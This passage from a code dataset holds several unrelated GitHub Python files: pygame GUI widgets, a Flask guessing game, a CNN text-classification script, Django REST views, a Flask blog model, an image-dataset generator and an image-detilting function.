self.rad, self.top_y + self.rad, self.rad,\n (255, 255, 255), update=False)\n draw_circle(self.screen, self.top_x + self.width - self.rad, self.top_y + self.rad, self.rad,\n (255, 255, 255), update=False)\n self.is_active = False\n self.font_size = self.height - 15\n self.font = pg.font.Font('modules\\\\PygameGUI\\\\fonts\\\\Inter-Regular.ttf', self.font_size)\n self.text = 'Search '\n self.render_text()\n pg.display.update(pg.Rect(top_x, top_y, width + 10, height))\n self.cnt = 0\n\n def activate(self, mouse_pos, bttn):\n c1 = draw_rect(self.screen, self.top_x + self.rad + 2, self.top_y, self.width - 2 * self.rad - 4, self.height,\n (255, 255, 255), update=False, mouse_pos=mouse_pos)\n c2 = draw_circle(self.screen, self.top_x + self.rad, self.top_y + self.rad, self.rad,\n (255, 255, 255), update=False, mouse_pos=mouse_pos)\n c3 = draw_circle(self.screen, self.top_x + self.width - self.rad, self.top_y + self.rad, self.rad,\n (255, 255, 255), update=False, mouse_pos=mouse_pos)\n\n if (c1 or c2 or c3) and bttn and not self.is_active:\n self.is_active = True\n self.text = ''\n\n def render_text(self):\n if self.text == 'Search ':\n col = 'light_grey'\n else:\n col = 'grey'\n text = self.font.render(self.text, True, colors(col))\n self.screen.blit(text, (self.top_x + self.rad,\n self.top_y + 3))\n pg.display.update(pg.Rect(self.top_x + self.rad, self.top_y, self.width - 2 * self.rad, self.height))\n\n def type(self, key):\n if self.is_active:\n if key:\n if self.text != '' and key == pg.K_BACKSPACE:\n self.text = self.text[:-1]\n else:\n if key == pg.K_SPACE:\n self.text += ' '\n key = pg.key.name(key)\n if len(key) == 1:\n self.text += key\n self.render_text()\n\n\nclass Button:\n def __init__(self, screen, top_x, top_y, width, height, rad, color, text=\"button\", bg_col=\"dark_grey\",\n font_col='white'):\n self.screen = screen\n self.top_x = top_x\n self.top_y = top_y\n self.width = width\n self.height = height\n self.rad = rad\n self.color = color\n self.text = text\n rounded_rect(self.screen, self.top_x, self.top_y, self.width, self.height, self.rad, self.color,\n bg_color=bg_col)\n font_size = self.height // 2\n font = pg.font.Font('modules\\\\PygameGUI\\\\fonts\\\\Inter-Regular.ttf', font_size)\n text_sr = font.render(text, True, colors(font_col))\n text_width = text_sr.get_width()\n self.screen.blit(text_sr, (self.top_x + self.width // 2 - text_width // 2,\n self.top_y + (self.height - font_size) // 2 - 3))\n pg.display.update(pg.Rect(self.top_x, self.top_y, self.width, self.height))\n\n def get_pressed(self, mouse_pos):\n if rounded_rect(self.screen, self.top_x, self.top_y, self.width, self.height, self.rad, self.color,\n mouse_pos=mouse_pos, update=False):\n return self.text\n\n\nclass Scroll:\n def __init__(self, screen, top_x, top_y, width, height, iterable, app_window_height) -> None:\n self.screen = screen\n self.iterable = iterable\n self.iterable = sorted(self.iterable)\n\n # Scrollable text position and dimension\n self.top_x = top_x\n self.top_y = top_y\n self.width = width\n self.height = height\n\n self.initial_y = top_y\n\n self.background_color = 'dark_grey'\n\n self.scroll = 0\n self.scroll_sens = 20\n\n self.spacer = 2\n\n self.elem_height = app_window_height // 16\n self.font_size = self.elem_height - 12\n\n # to get maximum nuber of rows that can be displayed at once\n def get_max_rows(self):\n max_row = (self.height) // (self.spacer + self.elem_height)\n return max_row\n\n # To find the y coordinate when the last button is completely visible\n def get_max_y(self):\n if len(self.iterable) > self.get_max_rows():\n low = self.scroll + self.top_y + len(self.iterable) * (self.spacer + self.elem_height)\n return low\n return None\n\n def render(self):\n font = pg.font.Font('modules\\\\PygameGUI\\\\fonts\\\\Inter-Regular.ttf', self.font_size)\n draw_rect(self.screen, self.top_x, self.top_y, self.width, self.height,\n colors(self.background_color),\n update=False)\n for ind, elem in enumerate(self.iterable):\n if self.top_y - self.elem_height <= self.top_y + self.scroll + ind * (\n self.spacer + self.elem_height) < self.top_y + self.height:\n # Drawing the seperator for each button\n draw_rect(self.screen, self.top_x + 2,\n self.top_y + self.scroll +\n ind * (self.spacer + self.elem_height) + self.elem_height,\n self.width - 4, self.spacer, colors('white'), update=False)\n\n text = font.render(str(elem), True, colors('white'))\n self.screen.blit(text, (self.top_x + 10,\n self.top_y + self.scroll +\n ind * (self.spacer + self.elem_height)))\n\n # to reduce no of iterations\n if self.top_y + self.scroll + ind * (self.spacer + self.elem_height) > \\\n self.top_y + self.height:\n break\n pg.display.update(pg.Rect(self.top_x, self.initial_y, self.width, self.height))\n\n def update(self, ev=None):\n mouse_x, mouse_y = pg.mouse.get_pos()\n if self.top_x + 2 <= mouse_x <= self.top_x + self.width - 4 and self.top_y <= mouse_y <= \\\n self.top_y + self.height:\n max_y = self.get_max_y()\n if self.get_max_rows() < len(self.iterable) and max_y >= self.top_y + self.height:\n if ev and self.scroll <= 0:\n self.scroll += ev * self.scroll_sens\n else:\n pass\n\n if self.scroll > 0:\n self.scroll = 0\n\n max_y = self.get_max_y()\n if max_y:\n while max_y < self.top_y + self.height:\n self.scroll += 1\n max_y = self.get_max_y()\n self.render()\n\n def get_name(self):\n mouse_x, mouse_y = pg.mouse.get_pos()\n if self.top_x + 2 <= mouse_x <= self.top_x + self.width - 4 and self.top_y <= mouse_y <= \\\n self.top_y + self.height:\n for ind, elem in enumerate(self.iterable):\n if self.top_y + self.scroll + ind * (self.spacer + self.elem_height) <= mouse_y <= \\\n self.top_y + self.scroll + ind * (self.spacer + self.elem_height) + self.elem_height:\n return elem\n return None\n\n def force_update(self):\n self.render()\n\n\nclass SongScroll(Scroll):\n def __init__(self, screen, top_x, top_y, width, height, iterable, app_window_height):\n super().__init__(screen, top_x, top_y, width, height, iterable, app_window_height)\n self.selected = []\n\n def render(self):\n font = pg.font.Font('modules\\\\PygameGUI\\\\fonts\\\\Inter-Regular.ttf', self.font_size)\n draw_rect(self.screen, self.top_x, self.top_y, self.width, self.height,\n colors(self.background_color),\n update=False)\n for ind, elem in enumerate(self.iterable):\n if self.top_y - self.elem_height <= self.top_y + self.scroll + ind * (\n self.spacer + self.elem_height) < self.top_y + self.height:\n # Drawing the seperator for each button\n draw_rect(self.screen, self.top_x + 2,\n self.top_y + self.scroll +\n ind * (self.spacer + self.elem_height) + self.elem_height,\n self.width - 4, self.spacer, colors('white'), update=False)\n\n if elem in self.selected:\n draw_rect(self.screen, self.top_x + 2,\n self.top_y + self.scroll +\n ind * (self.spacer + self.elem_height),\n self.width - 4, self.elem_height,\n colors('grey'), update=False)\n text = font.render(str(elem), True, colors('white'))\n self.screen.blit(text, (self.top_x + 10,\n self.top_y + self.scroll +\n ind * (self.spacer + self.elem_height)))\n\n # to reduce no of iterations\n if self.top_y + self.scroll + ind * (self.spacer + self.elem_height) > \\\n self.top_y + self.height:\n break\n pg.display.update(pg.Rect(self.top_x, self.initial_y, self.width, self.height))\n\n\nclass PlayerProgressBar:\n\n def __init__(self, screen, top_x, top_y, width, height) -> None:\n self.bar_len = 0\n self.seek = None\n self.play_len = 0\n self.screen = screen\n self.width = width\n self.height = height\n self.curr_song = None\n self.duration = 0\n self.prev_pos = 0\n self.top_x = top_x\n self.top_y = top_y\n draw_rect(self.screen, self.top_x, self.top_y, self.width, self.height, colors('grey'))\n\n def render_bg(self):\n draw_rect(self.screen, self.top_x, self.top_y, self.width, self.height, colors('grey'))\n\n def render_bar(self, mouse_x, mouse_y, len_played):\n if self.curr_song:\n self.prev_pos = len_played\n if len_played == -1:\n self.curr_song = None\n draw_rect(self.screen, self.top_x, self.top_y, self.width, self.height, colors('grey'))\n self.duration = 0\n self.prev_pos = 0\n self.bar_len = 0\n self.play_len = 0\n return\n self.bar_len = ((self.width) / (self.duration)) * (len_played / 1000) + self.play_len\n if self.bar_len > self.width:\n self.bar_len = self.width\n draw_rect(self.screen, self.top_x, self.top_y, self.bar_len, self.height, colors('white'))\n if self.top_x <= mouse_x <= self.top_x + self.width - 1 and \\\n self.top_y <= mouse_y <= self.top_y + self.height:\n if pg.mouse.get_pressed()[0]:\n pg.mixer.music.set_volume(0)\n pg.mixer.music.rewind()\n self.play_len -= self.bar_len\n pos = ((mouse_x - self.top_x) * self.duration) / (self.width)\n pg.mixer.music.set_pos(pos)\n time.sleep(0.02)\n self.play_len += mouse_x - self.top_x\n draw_rect(self.screen, self.top_x, self.top_y, self.width, self.height, colors('grey'))\n pg.mixer.music.set_volume(0.5)\n\n\nclass VolumeControl():\n def __init__(self, screen, top_x, top_y, width, height):\n self.bar_len = 50\n self.screen = screen\n self.top_x = top_x\n self.top_y = top_y\n self.height = height\n self.width = width\n\n def render(self):\n draw_rect(self.screen, self.top_x, self.top_y, self.width, self.height, colors('grey'))\n draw_rect(self.screen, self.top_x, self.top_y, self.bar_len / 100 * self.width,\n self.height, colors('white'))\n\n def update(self, scroll=None):\n mouse_pos = pg.mouse.get_pos()\n if self.top_x <= mouse_pos[0] <= self.top_x + self.width - 2:\n if self.top_y <= mouse_pos[1] <= self.top_y + self.height:\n if scroll:\n self.bar_len += 5 * scroll\n if self.bar_len > 100:\n self.bar_len = 100\n elif self.bar_len < 0:\n self.bar_len = 0\n self.render()\n else:\n self.bar_len = ((mouse_pos[0] - self.top_x) / self.width) * 100\n self.render()\n return self.bar_len\n return\n","repo_name":"DevFalkon/SinoWaves","sub_path":"modules/PygameGUI/widgets.py","file_name":"widgets.py","file_ext":"py","file_size_in_byte":17430,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"9610717621","text":"from flask import Flask, render_template, request, redirect, session\nimport random \napp = Flask(__name__)\napp.secret_key = 'shh_secret'\n\n\n@app.route('/')\ndef index():\n def rand():\n if rng not in session:\n session['rng'] = random.randint(1,100)\n print(\"The answer is:\", session['rng'])\n return render_template(\"index.html\")\n\n@app.route('/result', methods=['POST'])\ndef guess():\n guess = int(request.form['guess'])\n print(\"Your guess is:\", guess) \n def rere(num1, num2):\n if (int(num1) < int(num2)):\n return \"Too Low!\"\n if (int(num1) > int(num2)):\n return \"Too High!\"\n if (int(num1) == int(num2)):\n return \"Just Right!\"\n x = rere(guess, session['rng'])\n print(guess, session['rng'], x)\n return render_template('result.html', x_template = x)\n\n@app.route('/restart', methods=['POST'])\ndef restart():\n session['rng'] = random.randint(1,100) \n return render_template('index.html')\n\n\n\napp.run(debug=True)","repo_name":"mattkalnay/Python","sub_path":"flask/flask_fundamentals/greatnumbergame/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36690124391","text":"\"\"\"\n==========================================================================\ncommand : python executor.py {is_first_time} {parse_type} {embedding_type}\n==========================================================================\n\"\"\"\nimport sys\nimport consts\nimport logging\nimport cnn\nfrom data_helpers import get_input\nfrom word_embedding import WordEmbedding\nfrom hyper_params import HyperParams\nfrom experiment import ClassifierExperiment\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n# 1. Command line arguments\nargs = sys.argv\nis_first_time = args[1]\nparse_type = args[2]\nembedding_type = args[3]\n\n# 2. Loading the data\ntrain_seqs, train_y, test_seqs, test_y = get_input(is_first_time=is_first_time,\n parse_type=parse_type)\n\nhparams = HyperParams().get_cnn_hyper_params()\n\n# 3. Transform the data using embedding vectors.\nembedding = WordEmbedding(train_seqs, hparams.embedding_dim)\nif embedding_type == 'doc2vec':\n model = embedding.get_d2v_model()\nelse:\n model = embedding.get_w2v_model()\ntrain_X = embedding.get_embedding_mtx(model, train_seqs)\ntest_X = embedding.get_embedding_mtx(model, test_seqs)\n\n# 4. Reshape\ntrain_X = train_X.reshape([-1, consts.MAX_SEQUENCE_LENGTH, hparams.embedding_dim])\ntrain_y = train_y.reshape([-1, consts.NUM_LABELS])\ntest_X = test_X.reshape([-1, consts.MAX_SEQUENCE_LENGTH, hparams.embedding_dim])\ntest_y = test_y.reshape([-1, consts.NUM_LABELS])\n\n# train_X: (149995, 100, 256)\n# train_Y: (149995, 2)\n# test_X: (49997, 100, 256)\n# test_Y: (49997, 2)\nlogger.info({'train_X.shape': train_X.shape, 'train_Y.shape': train_y.shape,\n 'test_X.shape': test_X.shape, 'test_Y.shape': test_y.shape})\n\n# 5. Train\ncnn_experiment = ClassifierExperiment(train_X, test_X, train_y, test_y, hparams, cnn.model_fn)\ncnn_experiment.run_train_and_evaluate(False)\n","repo_name":"jeonghunyoon/Text-classification-tensorflow","sub_path":"executor.py","file_name":"executor.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"43285060379","text":"from rest_framework.views import APIView\r\nfrom rest_framework.response import Response\r\nfrom rest_framework import status\r\nfrom .serializers import softwareSerializer,subscriptionSerializer,salesSerializer\r\nfrom astercrm.models import Subscription,Sales\r\nfrom django.http.response import JsonResponse\r\n\r\nfrom rest_framework.decorators import api_view\r\n\r\nimport json\r\n\r\n@api_view(['POST'])\r\ndef addsoftware(request):\r\n serializer = softwareSerializer(data = request.data)\r\n if serializer.is_valid():\r\n serializer.save()\r\n return Response(serializer.data, status=status.HTTP_201_CREATED)\r\n else:\r\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\r\n\r\n\r\n@api_view(['PUT'])\r\ndef updatesubscription(request,id):\r\n try:\r\n subs = Subscription.objects.get(usage_id=id)\r\n except Subscription.DoesNotExist:\r\n return Response(status=status.HTTP_404_NOT_FOUND)\r\n \r\n \r\n serializer = subscriptionSerializer(subs, data=request.data)\r\n if serializer.is_valid():\r\n serializer.save()\r\n return Response(serializer.data)\r\n else:\r\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\r\n\r\n\r\n@api_view(['GET'])\r\ndef sales(request):\r\n tutorials = Sales.objects.all()\r\n title = request.query_params.get('title', None)\r\n if title is not None:\r\n tutorials = tutorials.filter(title__icontains=title)\r\n \r\n tutorials_serializer = salesSerializer(tutorials, many=True)\r\n return JsonResponse(tutorials_serializer.data, safe=False)\r\n \r\n\r\n\r\n\r\n","repo_name":"newaster/astercrm","sub_path":"allapi/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"37128029665","text":"from flask_app.config.mysqlconnection import connectToMySQL\nfrom flask import flash\n\nclass Post_Comment:\n db_name = \"apperson_blog_schema\"\n def __init__(self,data):\n self.id = data['id']\n self.content = data['content']\n self.title = data['title']\n self.post_id = data['post_id']\n self.parent_id = data['parent_id']\n self.created_at = data['created_at']\n self.updated_at = data['updated_at']\n\n#create\n @classmethod #saves new post_comment in database\n def save(cls,data):\n query = \"INSERT INTO post_comment (content, title, post_id, parent_id, created_at, updated_at) VALUES (%(content)s, %(title)s, %(post_id)s, %(parent_id)s, NOW(), NOW());\"\n author_id = connectToMySQL(cls.db_name).query_db(query, data)\n return author_id\n#read\n @classmethod\n def get_one_with_post(cls,data):\n query = \"SELECT * FROM post_comment WHERE post_id = %(post_id)s;\"\n results = connectToMySQL(cls.db_name).query_db(query,data)\n return cls( results[0])\n#update\n @classmethod #edit funds\n def update(cls,data):\n query = \"UPDATE post_comment SET content=%(content)s, title=%(title)s, updated_at=NOW() WHERE id = %(id)s;\"\n return connectToMySQL(cls.db_name).query_db(query,data)\n#delete\n @classmethod\n def delete(cls,data):\n query = \"DELETE FROM post_comment WHERE id = %(id)s;\"\n return connectToMySQL(cls.db_name).query_db(query,data)","repo_name":"TheApperson/Personal-Blog","sub_path":"flask_app/models/post_comment.py","file_name":"post_comment.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"25170078516","text":"from enum import Enum, unique\nimport itertools\nimport random\nimport json\nimport cv2\nimport numpy as np\nimport os\nfrom PIL import Image as pil_image\nfrom keras.preprocessing import image\nfrom keras.preprocessing.image import ImageDataGenerator\nimport copy\n\n# Dataset Generation API\n# Surroundings (background behind picture)\n# Perpsective (rotation and translation)\n# Reflection/Glare\n# Lighting conditions\n# Print fading\n# Resolution 330x270\n# Type: (left, right, center)\n\n# TODO: Load image according to settings specified by size\n# Using PIL and a linear interpolation algorithm to downscale\n# Create generator using an ImageDataGenerator to process the data after the initial creation\n\nPATH = 'C:\\\\Users\\\\Noah\\\\Documents\\\\code\\\\DataSet'\n\n# Surroundings\n# e.g. everywhere the pictogram isn't\n@unique\nclass Surroundings(Enum):\n GENERATED_NOISE = \"noise\" # noise created by randomizing each pixel\n BLACK = \"black\" # a solid black\n MISMATCH_BACKGROUND = \"misback\"\n PICTURE_BACKGROUND = \"background\" # the background of the photo how it normally is\n\n# Perspective\n# contains a rotation and translation object, which can be used to determine how the image\n# was processed\nclass Perspective:\n def __init__(self, rotation, translation): #rotation is (X, Y, Z) and translation is the same\n self.rotation = rotation\n self.translation = translation\n \n # Function to correct the image according to the perspective information\n def getCorrectedImage(self, img):\n #TODO: this function\n return False\n\n# Glare\n# Not computer generated, just recorded for informational purposes\n@unique\nclass Glare(Enum):\n PAPER = \"paper\" # only catches ambient light reflecting off of the paper\n PLASTIC_SLEVE = \"plastic\" # catches light reflecting off of the plastic sleve\n PLEXIGLASS_COVER = \"plexi\" # catches light reflecting off of a sctratched plexiglass cover\n FLASHLIGHT_PLEXIGLASS = \"flashlight\" # flashlight is reflected off of the same plexiglass to intentionally obscure camera \n # the above is probably closest to real world situations\n # the rest are provided for additional training\n\n# Lighting\n# The amount of surrounding lights, arbitrarily assigned values\n@unique\nclass Lighting(Enum):\n NONE = \"none\" # A dark room\n POOR = \"poor\" # A not very well lit room\n GOOD = \"good\" # The best lighting availible given the equipment I have\n # Unfortunatly, we are probably looking at a near dark room due to the sports-like\n # aspect of the competitions later on\n\n# Print Quality\n# Again assigned arbitrary values\n@unique\nclass PrintQuality(Enum):\n GOOD = \"good\" # saturated print\n BAD = \"bad\" # Faded print\n\n# Pictogram type\n# The thing the neural network wants to get\n@unique\nclass PictogramType(Enum):\n LEFT = \"left\"\n CENTER = \"center\"\n RIGHT = \"right\"\n\n @classmethod\n def has_value(cls, value):\n return any(value == item.value for item in cls)\n\n# Blur, as in we shook the camera on accident\n@unique\nclass Blur(Enum):\n NONE = \"none\"\n BLURRED = \"blur\"\n\n# Ball present in image\n# Will be present in the right corner of the pictogram if at all\n@unique\nclass Balls(Enum):\n NONE = \"none\"\n BLUE = \"blue\"\n RED = \"red\"\n\n# Class to represent the pictograms location within the image\nclass PictogramLocation:\n def __init__(self, points): # points are ((x, y), (x, y), (x, y), (x, y)) in pixels of corners \n # in order of ((bottom left, top left, top right, bottom right)) \n self.points = points\n # returns just the pictogram image cut out of the rest of the image\n def getLocalizedPictogram(self, img):\n #TODO: this function\n return False\n\n\nclass Pictogram:\n # each bit of data that can be assigned to a given pictogram picture\n # first the path of the image, then please use the above enums\n def __init__(self, img, surroundings, perspective, glare, lighting, printQual, pictogramType, blur, balls, location):\n self.img = img\n self.surroundings = surroundings\n self.perspective = perspective\n self.glare = glare\n self.lighting = lighting\n self.printQual = printQual\n self.pictogramType = pictogramType\n self.blur = blur\n self.balls = balls\n self.picLoc = location\n\n @classmethod\n def fromDataDict(self, img, surroundings, perspective, location, dataDict):\n return self(\n img,\n surroundings,\n perspective,\n dataDict['glare'],\n dataDict['light'],\n dataDict['print'],\n dataDict['type'],\n dataDict['blur'],\n dataDict['balls'],\n location\n )\n\n# API use example:\n# data = GetDataSet(surroundings=\"bad\", type=\"left\")\n\n# img = data.next()\n\ndef wrapList(item):\n if hasattr(item, \"__len__\"):\n return item\n else:\n return [item]\n\ndef stringListToCoords(str):\n ray = json.loads('[' + str + ']')\n tempRay = [0, 0, 0, 0]\n # map flat string to coordinate arrays\n if len(ray) > 0:\n for i in range(0, 4):\n tempRay[i] = (ray[i * 2], ray[i * 2 + 1])\n # sort by X coordinate\n tempRay.sort(key=lambda coord: coord[0])\n # if Y of point 0 is greater than Y of point 1 and the opposite is true of the Y's of the next two points, switch em\n # also vice versa\n if (tempRay[0][1] > tempRay[1][1] and tempRay[2][1] > tempRay[3][1]) or (tempRay[0][1] < tempRay[1][1] and tempRay[2][1] < tempRay[3][1]):\n tempRay = (tempRay[0], tempRay[1], tempRay[3], tempRay[2])\n # switch points so origin is always a bottom left\n if tempRay[0][1] < tempRay[1][1]:\n return (tempRay[1], tempRay[0], tempRay[3], tempRay[2])\n else:\n return tempRay\n else:\n return None\n\ndef filterPictures(objs, critRay, anyType=False):\n def isMatch(pic):\n SEARCH_KEYS = ['type', 'glare', 'light', 'print', 'blur', 'balls']\n if anyType: \n del SEARCH_KEYS[0]\n for key in SEARCH_KEYS:\n if(pic[key] != critRay[key].value):\n return False\n return True\n return filter(isMatch, objs)\n\ndef DataIterator(dataObject, # the parsed JSON from the dataset'\n batch_size, # of image to run at once\n loops, # the # of times to loop through every combination of factor\n # using different images this time\n image_generator, #image data generator from keras\n target_type, # type of pictogram to generate a 1 in the target output\n size=(64,64), #width/height to scale the image to\n surroundings=list(Surroundings), \n glare=list(Glare), \n lighting=list(Lighting), \n printQuality=list(PrintQuality), \n pictogramType=list(PictogramType), \n blur=list(Blur), \n balls=list(Balls),\n randomizePerspective=False): # not currently implemented\n\n # generate every possible combination\n # check every argument if value or array\n combo = (pictogramType, surroundings, glare, lighting, printQuality, blur, balls)\n combo = map(wrapList, combo)\n # generate every permutation\n combo = itertools.product(*combo)\n # and wrap it into a dict\n combo = list(map(lambda item: {\n 'type' : item[0],\n 'surr' : item[1],\n 'glare' : item[2],\n 'light' : item[3],\n 'print' : item[4],\n 'blur' : item[5],\n 'balls' : item[6]\n }, combo))\n # and for every item in that dict, generate and shuffle all the picture possibilities\n # essentially creating a hash table\n for item in reversed(combo):\n # filter the images to the ones we are interested in, then\n # generate a special list for mismatched (since we have to keep track of combonations)\n if item['surr'] == Surroundings.MISMATCH_BACKGROUND:\n # this may take awhile\n # product of all pictogram images and all surrounding images\n item['combo'] = list(itertools.product(filterPictures(dataObject, item), filterPictures(dataObject, item, anyType=True)))\n # else filter and generate a normal list of just possible images\n else:\n item['combo'] = list(filterPictures(dataObject, item))\n # check it's length, if < 0 then remove and continue\n if item['combo'] == None or len(item['combo']) == 0:\n #print(\"skipping: \")\n #print(item)\n #print(\"-----\")\n combo.remove(item)\n continue\n\n # iterate through it, returning a new object for each next() call\n i = 0\n while loops == None or i < loops:\n if loops != None: \n i = i + 1\n # copy the combo array\n perm = copy.deepcopy(combo)\n # shuffle it\n random.shuffle(perm)\n # batch list \n batch_x = []\n batch_y = []\n # boolean to break at the end of the for loop\n breakEnd = False\n while not breakEnd:\n for item in perm: \n # get the a combo from our shuffled list\n picItem = random.choice(item['combo']) # this wil be a list of dicts or a dict\n item['combo'].remove(picItem)\n # check if that list is emptey\n # if so, skip to the next set of image permutations after the end of this cycle\n # this will in theory balance out the catigories of images rather than relying on the images to be equally distributed\n if len(item['combo']) == 0: \n breakEnd = True\n # next, initialize the image loaded based on the type of surroundings\n img = None\n # if we have any surroundings except PICTURE_BACKGROUND, do processing\n if item['surr'] == Surroundings.PICTURE_BACKGROUND:\n img = cv2.imread(os.path.join(PATH, picItem['type'], picItem['name']))\n # mismatch warping\n elif item['surr'] == Surroundings.MISMATCH_BACKGROUND:\n backData = picItem[1]\n pictoData = picItem[0]\n # check if both images have coords\n # else log and continue\n if not hasattr(backData['picto'], \"__len__\") or not hasattr(pictoData['picto'], \"__len__\"):\n print(\"Missing coords on image \")\n if not hasattr(backData['picto'], \"__len__\"):\n print(backData)\n if not hasattr(pictoData['picto'], \"__len__\"):\n print(pictoData)\n continue\n # get the background image\n back = cv2.imread(os.path.join(PATH, backData['type'], backData['name']))\n # get the pictogram image\n picto = cv2.imread(os.path.join(PATH, pictoData['type'], pictoData['name']))\n # check and see if we read the image\n if not hasattr(back, \"__len__\") or not hasattr(picto, \"__len__\"):\n print(\"Image failed to read!\")\n if not hasattr(back, \"__len__\"):\n print(backData)\n if not hasattr(picto, \"__len__\"):\n print(pictoData)\n continue\n # The actual warping code\n # warp pictograph of picto into position of background\n pers = cv2.getPerspectiveTransform(np.float32(pictoData['picto']), np.float32(backData['picto']))\n picto = cv2.warpPerspective(picto, pers, (back.shape[1], back.shape[0]))\n # warp four point mask matrix to respective points\n pers = cv2.getPerspectiveTransform(np.float32(((0, 0), (0, back.shape[0]), (back.shape[1], back.shape[0]), (back.shape[1], 0))), np.float32(backData['picto']))\n mask = cv2.warpPerspective(np.full((back.shape[0], back.shape[1]), 255, dtype=np.uint8), pers, (back.shape[1], back.shape[0]))\n # bitwise copy\n img = cv2.bitwise_or(cv2.bitwise_or(0, back, mask=cv2.bitwise_not(mask)), cv2.bitwise_or(0, picto, mask=mask))\n picItem = backData\n # every other kind of warping\n else:\n # get image\n img = cv2.imread(os.path.join(PATH, picItem['type'], picItem['name']))\n # create mask\n # warp four point mask matrix to respective points\n pers = cv2.getPerspectiveTransform(np.float32(((0, 0), (0, img.shape[0]), (img.shape[1], img.shape[0]), (img.shape[1], 0))), np.float32(picItem['picto']))\n mask = cv2.warpPerspective(np.full((img.shape[0], img.shape[1]), 255, dtype=np.uint8), pers, (img.shape[1], img.shape[0]))\n # generate image to copy to depending on the type of surroundings\n back = None\n if item['surr'] == Surroundings.BLACK:\n back = np.zeros(img.shape, dtype=np.uint8)\n elif item['surr'] == Surroundings.GENERATED_NOISE:\n back = np.random.randint(0, high=255, size=img.shape, dtype=np.uint8)\n # bitwise copy\n img = cv2.bitwise_or(cv2.bitwise_or(0, back, mask=cv2.bitwise_not(mask)), cv2.bitwise_or(0, img, mask=mask))\n # apply image transformations from keras onto image\n # downscale image to given size using nearest interpolation\n img = cv2.resize(img, size, interpolation=cv2.INTER_NEAREST)\n img = np.float64(img)\n # randomize image based on generator\n if image_generator != None:\n img = image_generator.random_transform(img)\n img = image_generator.standardize(img)\n # append the image to the batches\n batch_x.append(img)\n num = None\n # generate the bianary answer for our network\n if item['type'] == target_type: num = 1.\n else: num = 0.\n # append, and see if we can send off the batch\n batch_y.append(num)\n if(len(batch_x) >= batch_size):\n yield np.array(batch_x), np.array(batch_y)\n batch_x = []\n batch_y = []\n\n\"\"\"\n# get the JSON and parse it\ndef mapDict(item):\n str = '[' + item['picto'] + ']'\n ray = json.loads(str)\n tempRay = [0, 0, 0, 0]\n # map flat string to coordinate arrays\n if len(ray) > 0:\n for i in range(0, 4):\n tempRay[i] = (ray[i * 2], ray[i * 2 + 1])\n # sort by X coordinate\n tempRay.sort(key=lambda coord: coord[0])\n # if Y of point 0 is greater than Y of point 1 and the opposite is true of the Y's of the next two points, switch em\n # also vice versa\n if (tempRay[0][1] > tempRay[1][1] and tempRay[2][1] > tempRay[3][1]) or (tempRay[0][1] < tempRay[1][1] and tempRay[2][1] < tempRay[3][1]):\n tempRay = (tempRay[0], tempRay[1], tempRay[3], tempRay[2])\n # switch points so origin is always a bottom left\n if tempRay[0][1] < tempRay[1][1]:\n item['picto'] = (tempRay[1], tempRay[0], tempRay[3], tempRay[2])\n else:\n item['picto'] = tempRay\n else:\n item['picto'] = None\n return item\n\nwith open(\"mostOfThem.json\", 'r') as f:\n data = json.load(f)\n\ndata = list(map(mapDict, filter(lambda item: item['type'] != 'none', data)))\n\ntest_datagen = ImageDataGenerator(rescale=1./255)\n\ntrain_datagen = ImageDataGenerator(rescale=1./255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True)\n\niter = DataIterator(data, \n 32, \n None, \n train_datagen,\n PictogramType.LEFT, \n pictogramType=(PictogramType.CENTER, PictogramType.LEFT))\n\nfor item in iter:\n print(len(item[0]))\n for i in range(len(item[0])):\n if not hasattr(item[0][i], \"__len__\") or not hasattr(item[0][i], \"shape\"):\n print(i)\n raise ValueError(\"HUR DUR\")\n\"\"\"","repo_name":"prototypicalpro/PythonWorkspace","sub_path":"VumarkProcessing/DataSet.py","file_name":"DataSet.py","file_ext":"py","file_size_in_byte":16617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"36565114890","text":"from __future__ import division\n\nimport numpy as np\n\nimport magni.imaging\nfrom magni.utils.validation import decorate_validation as _decorate_validation\nfrom magni.utils.validation import validate_generic as _generic\nfrom magni.utils.validation import validate_numeric as _numeric\n\n\ndef detilt(img, mask=None, mode='plane_flatten', degree=1, return_tilt=False):\n \"\"\"\n Estimate the tilt in an image and return the detilted image.\n\n Parameters\n ----------\n img : ndarray\n The image that is to be detilted.\n mask : ndarray, optional\n Bool array of the same size as `img` indicating the pixels to use in\n detilt (the default is None, which implies, that the the entire image\n is used)\n mode : {'line_flatten', 'plane_flatten'}, optional\n The type of detilting applied (the default is plane_flatten).\n degree : int, optional\n The degree of the polynomial used in line flattening\n (the default is 1).\n return_tilt : bool, optional\n If True, the detilted image and the estimated tilt is returned (the\n default is False).\n\n Returns\n -------\n img_detilt : ndarray\n Detilted image.\n tilt : ndarray, optional\n The estimated tilt (image). Only returned if return_tilt is True.\n\n Notes\n -----\n If `mode` is line flatten, the tilt in each horizontal line of pixels in\n the image is estimated by a polynomial fit independently of all other\n lines. If `mode` is plane flatten, the tilt is estimated by fitting a plane\n to all pixels.\n\n If a custom `mask` is specified, only the masked (True) pixels are used in\n the estimation of the tilt.\n\n Examples\n --------\n For example, line flatten an image using a degree 1 polynomial\n\n >>> import numpy as np\n >>> from magni.imaging.preprocessing import detilt\n >>> img = np.array([[0, 2, 3], [1, 5, 7], [3, 6, 8]], dtype=np.float)\n >>> np.set_printoptions(suppress=True)\n >>> detilt(img, mode='line_flatten', degree=1)\n array([[-0.16666667, 0.33333333, -0.16666667],\n [-0.33333333, 0.66666667, -0.33333333],\n [-0.16666667, 0.33333333, -0.16666667]])\n\n Or plane flatten the image based on a mask and return the tilt\n\n >>> 